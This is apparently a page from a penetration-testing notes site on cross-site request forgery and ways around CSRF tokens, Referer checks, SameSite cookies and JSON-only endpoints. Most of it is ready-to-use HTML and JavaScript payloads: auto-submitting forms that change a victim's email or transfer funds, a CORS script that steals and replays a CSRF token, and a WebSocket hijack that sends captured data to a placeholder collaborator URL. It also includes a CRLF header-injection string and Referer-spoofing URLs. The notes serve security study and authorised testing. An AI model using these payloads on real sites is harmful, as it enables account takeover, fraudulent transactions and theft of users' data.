> For the complete documentation index, see [llms.txt](https://ivalexev.gitbook.io/rednote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ivalexev.gitbook.io/rednote/pentesting-process/web-attacks/csrf.md).

# CSRF

Cross-Site Request Forgery.

Allows an attacker to induce users to perform actions that they do not intend to perform.

**Steps**:

* Check action
* Check defences&#x20;

<table data-header-hidden><thead><tr><th width="293"></th><th></th></tr></thead><tbody><tr><td><code>CSRF tokens</code></td><td><em>Value to check</em></td></tr><tr><td><code>Referer/Origin-based validation</code></td><td><em>Use of the HTTP Referer/Origin header to attempt to defend</em></td></tr><tr><td><code>SameSite cookies</code></td><td><em>Browser security mechanism that prevent cookies from being included in requests originating from an attacker.</em><br><em>Included in Set-Cookie and with 3 restriction levels:</em><br><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#strict"><em>Strict</em></a> <em>(no cookie in cross-site requests)</em><br><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#lax"><em>Lax</em> </a><em>(GET method + top-level navigation by the user, no in requests made from JavaScript)</em><br><a href="https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions#none"><em>None</em></a> <em>(need Secure attribute, no enforcement)</em><br><em>Most modern browsers enforce a SameSite attribute of Lax by default.</em></td></tr></tbody></table>

Right click on request > Engagement tools > [Generate CSRF PoC](https://portswigger.net/burp/documentation/desktop/tools/engagement-tools/generate-csrf-poc).\
We can also use [this website](https://csrf-poc-generator.vercel.app/).

## Bypassing

### CSRF token

Check to:

* Change request method GET/POST (Verb Tampering)
* Remove CSRF token
* Use CSRF token of its own session

{% code overflow="wrap" %}

```html
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
    <input type="hidden" name="email" value="x@y">
</form>
<script>
        document.forms[0].submit();
</script>
```

{% endcode %}

### CSRF in header

1. Need to find a way to inject header. In this way, we know the CSRF and inject the SameSite to lax.\
   `%0d%0aSet-Cookie:%20csrf=FAKE%3b%20SameSite=None`
2. **If we have CSRF sessions** (es. `csrfKey` in cookie header and `csrf` in body)\
   The CSRF session may not be associated with the user's session.\
   So, try to inject and use CSRF header and token of its own session.
3. **If we have CSRF token duplicated in a body and in a cookie header.**\
   The CSRF session could simply check that the two match.\
   So, try to inject the same CSRF token in cookie header and body.

### Referer Header

1. Some applications skip the validation if the referer header is omitted.\
   The easiest way to do that is using a META tag within the HTML page that hosts the CSRF attack.\
   `<meta name="referrer" content="never">` \
   `<meta name="referrer" content="no-referrer">`
2. Bypassing the naive way of checking\
   `http://`<mark style="color:red;">**`vulnerable-website.com.`**</mark>`attacker-website.com/csrf-attack`\
   `http://attacker-website.com/csrf-attack`<mark style="color:red;">**`/vulnerable-website.com`**</mark> \
   `http://attacker-website.com/csrf-attack`<mark style="color:red;">**`?vulnerable-website.com`**</mark> \
   For pushing Referer header in Javascript\
   `history.pushState("", "", "/?value-referer")` \
   Many browsers now strip the query string from the Referer header by default as a security measure.\
   To override this behavior and ensure that the full URL is included in the request add the following header to the "Head" section in webhook:\
   `Referrer-Policy: unsafe-url`

### SameSite Lax

Browsers will send the cookie in cross-site requests, but only if both of the following conditions are met:

* The request uses the `GET` method.
* The request resulted from a top-level navigation by the user,

{% code overflow="wrap" %}

```html
<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
```

{% endcode %}

In Symfony `_method` takes precedence over the normal method.

{% code overflow="wrap" %}

```html
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>
```

{% endcode %}

{% code overflow="wrap" %}

```html
https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000&_method=POST'
```

{% endcode %}

Other frameworks support a variety of similar parameters.

#### Cookie Refresh

To avoid breaking single sign-on (SSO) mechanisms, SameSite Lax allows on top-level `POST` requests in the first 120 seconds.\
So you can trigger the cookie refresh from a new tab.\
Browsers block popup tabs unless they're opened via a manual interaction.

```html
<form method="POST" action="https://vulnerable-website.com/my-account/change-email">
    <input type="hidden" name="email" value="x@y">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://vulnerable-website.com/login/sso');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>
```

### SameSite Strict

The cookie is never sent on a request initiated from another site. The way around this is to make the sensitive request originate from within the same site.

* **On-site gadget (client-side redirect)**\
  Find a gadget that results in a secondary request within the same site.\
  One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters.
* **Same-site XSS**

  If you have [XSS](/rednote/pentesting-process/web-attacks/xss.md) anywhere on the same site (including a sibling subdomain that shares the cookie scope), SameSite offers no protection. The request you fire from the injected script runs in the target’s own origin, so it’s same-site and the `Strict` cookie is attached automatically.

## CSRF bypassing via CORS

A [CORS](/rednote/pentesting-process/web-attacks/cors.md) misconfiguration lets us read cross-origin responses, so we can fetch a valid CSRF token in the victim’s session and bypass CSRF protection. The attack requires a CORS misconfiguration (`Access-Control-Allow-Origin` + `Access-Control-Allow-Credentials`) plus a `Secure; SameSite=None` session cookie.

{% code overflow="wrap" %}

```html
<script>
    // GET CSRF token
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://vulnerable-site/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
    var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);
       // var csrftoken = xhr.responseText.match(/name="csrf" value="(\w+)"/)[1];
    // do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `param=value&csrf_token=${csrftoken}`;
    csrf_req.open('POST', 'https://vulnerable-site/profile.php', false);
    csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>
```

{% endcode %}

## CSRF WebSocket hijacking

CSRF vulnerability on a [WebSocket handshake](https://portswigger.net/web-security/websockets/what-are-websockets#how-are-websocket-connections-established).

You typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters.

Unlike regular CSRF, the attacker gains two-way interaction with the compromised application. Below is the data exfiltration received from the WebSocket.

{% code overflow="wrap" %}

```html
<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', 
            {method: 'POST', mode: 'no-cors', body: event.data}
        );
    };
</script>
```

{% endcode %}

## CSRF with JSON Request Body

If web applications expect data in a POST request to be in JSON format, we can only carry out CSRF attacks under certain conditions.

### CORS misconfiguration

With a CSRF payload (an HTML `<form>`) we can only send the body as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`, never as `application/json`. To send JSON we’d have to use fetch/XHR from JavaScript, but a cross-site request with `Content-Type: application/json` triggers a [**CORS** **pre-flight**](/rednote/pentesting-process/web-attacks/cors.md#pre-flight-checks) (the browser sends the actual request only if the server explicitly allows your origin). Without a CORS misconfiguration, the preflight blocks it. so a JSON-only endpoint can’t be hit by a classic CSRF payload.

### Missing Content-Type Validation

The application may be vulnerable if it does not correctly check the `Content-Type` header. An HTML-based CSRF payload can only set the `Content-Type` to `application/x-www-form-urlencoded`, `text/plain`, or `multipart/form-data` (via the `enctype` attribute on the form). A server that validates this header can therefore detect that the body is not the expected JSON and reject the request. But if it skips that check and relies only on the syntax of the body, we can forge a JSON-looking body with a form and still get it parsed. The classic trick uses `enctype="text/plain"`.

{% code overflow="wrap" %}

```html
</html>
<form method="POST" action="https://vulnerablesite.com/profile.php" enctype="text/plain">
  <input type="hidden" name='{"param":"value","padding":"' value='dummy"}'>
</form>
<script>document.forms[0].submit()</script>
```

{% endcode %}

Result:

{% code overflow="wrap" %}

```http
POST /profile.php HTTP/1.1
Host: vulnerablesite.com
Content-Length: 37
Content-Type: text/plain

{"param":"value","padding":"dummy"}
```

{% endcode %}
